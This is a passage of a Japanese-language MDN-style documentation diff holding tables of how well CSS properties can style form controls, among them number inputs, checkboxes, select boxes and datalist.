<li>IE9 はこのプロパティに対応していません。</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<h3 id="Number" name="Number">数値</h3> + +<p> <code>{{htmlelement("input/number", "number")}}</code> 入力タイプを見てください。フィールドの値の変更に使用するスピンボタンのスタイルを変更するための、標準的な方法はありません。Safari では、スピンボタンがフィールドの外部にあることは知っておくべきです。</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>Opera ではスピンボタンが拡大されて、フィールドの内容物を隠す場合があります。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>Opera ではスピンボタンが拡大されて、フィールドの内容物を隠す場合があります。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td>{{cssxref("line-height")}} の注意事項をご覧ください。</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td colspan="1" rowspan="3"> + <p>対応していますが、ブラウザ間で頼りにできるほどの一貫性はありません。</p> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + </tr> + </tbody> +</table> + +<h3 id="Check_boxes_and_radio_buttons" name="Check_boxes_and_radio_buttons">チェックボックスとラジオボタン</h3> + +<p><code>{{htmlelement("input/checkbox", "checkbox")}}</code> と <code>{{htmlelement("input/radio", "radio")}}</code> 入力タイプを見てください。</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>一部のブラウザでは、マージンを追加したりウィジェットを引き伸ばしたりします。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>一部のブラウザでは、マージンを追加したりウィジェットを引き伸ばしたりします。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + </tbody> +</table> + +<h3 id="Select_boxes_single_line" name="Select_boxes_(single_line)">セレクトボックス (単一行)</h3> + +<p><code>{{htmlelement("select")}}</code>、 <code>{{htmlelement("optgroup")}}</code>、<code>{{htmlelement("option")}}</code> 要素を見てください。</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>このプロパティは <code>{{htmlelement("select")}}</code> 要素では問題ありませんが、 <code>{{htmlelement("option")}}</code> 要素や <code>{{htmlelement("optgroup")}}</code> 要素では効果がありません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[2]</sup></td> + <td> + <ol> + <li>プロパティは適用されますが、Mac OSX ではブラウザ間の一貫性がありません。</li> + <li>このプロパティは <code>{{htmlelement("select")}}</code> 要素には適用されますが、 <code>{{htmlelement("option")}}</code> 要素や <code>{{htmlelement("optgroup")}}</code> 要素では処理に一貫性がありません。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>Mac OSX では、WebKit ベースのブラウザがネイティブウィジェットでこのプロパティに対応せず、また <code>{{htmlelement("option")}}</code> 要素や <code>{{htmlelement("optgroup")}}</code> 要素では Opera を含めてまったく対応していません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>Mac OSX では、WebKit ベースのブラウザがネイティブウィジェットでこのプロパティに対応せず、また <code>{{htmlelement("option")}}</code> 要素や <code>{{htmlelement("optgroup")}}</code> 要素では Opera を含めてまったく対応していません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 は {{HTMLElement("select")}}、 <code>{{htmlelement("option")}}</code> および <code>{{htmlelement("optgroup")}}</code> 要素でこのプロパティに対応していません。Mac OSX で WebKit ベースのブラウザは、 <code>{{htmlelement("option")}}</code> 要素や <code>{{htmlelement("optgroup")}}</code> 要素でこのプロパティに対応していません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>Windows 7 で IE9 および Mac OSX で WebKit ベースのブラウザは、このウィジェットで本プロパティに対応していません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>Firefox のみがこのプロパティを完全対応しています。 Opera はこのプロパティに全く対応しておらず、また他のブラウザは <code>{{htmlelement("select")}}</code> 要素のみに対応しています。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td> + <ol> + <li>ほとんどのブラウザは、<code>{{htmlelement("select")}}</code> 要素のみでこのプロパティに対応しています。</li> + <li>IE9 はこのプロパティに対応していません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td> + <ol> + <li>ほとんどのブラウザは、<code>{{htmlelement("select")}}</code> 要素のみでこのプロパティに対応しています。</li> + <li>IE9 はこのプロパティに対応していません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>ほとんどのブラウザは、<code>{{htmlelement("select")}}</code>要素のみでこのプロパティに対応しています。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td colspan="1" rowspan="3"> + <ol> + <li>ほとんどのブラウザは、<code>{{htmlelement("select")}}</code>要素のみでこのプロパティに対応しています。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + </tr> + </tbody> +</table> + +<p>Firefox では<code>{{htmlelement("select")}}</code> 要素の下矢印を変更する方法はありません。.</p> + +<h3 id="Select_boxes_multiline" name="Select_boxes_(multiline)">セレクトボックス (複数行)</h3> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>Opera は {{cssxref("padding-top")}} および {{cssxref("padding-bottom")}} に <code>{{htmlelement("select")}}</code> 要素で対応していません。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td>{{cssxref("line-height")}} の注意事項をご覧ください。</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 は <code>{{htmlelement("select")}}</code> 、 <code>{{htmlelement("option")}}</code> および <code>{{htmlelement("optgroup")}}</code> 要素でこのプロパティに対応していません。Mac OSX で WebKit ベースのブラウザは、 <code>{{htmlelement("option")}}</code> 要素や <code>{{htmlelement("optgroup")}}</code> 要素でこのプロパティに対応していません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>Windows 7 で IE9 および Mac OSX で WebKit ベースのブラウザは、このウィジェットで本プロパティに対応していません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td> + <ol> + <li>Firefox および IE9 以上のみが対応しています。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>ほとんどのブラウザは、 <code>{{htmlelement("select")}}</code> 要素のみでこのプロパティに対応します。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td> + <td> + <ol> + <li>Opera では、明示的に境界が設定されている場合にのみ {{cssxref("border-radius")}} が適用されます。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 はこのプロパティに対応していません。</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<h3 id="Datalist" name="Datalist">Datalist</h3> + +<p> <code>{{htmlelement("datalist")}}</code> and <code>{{htmlelement("input")}}</code> 要素と <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/list"><code>list</code> 属性</a>を見てください。</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: 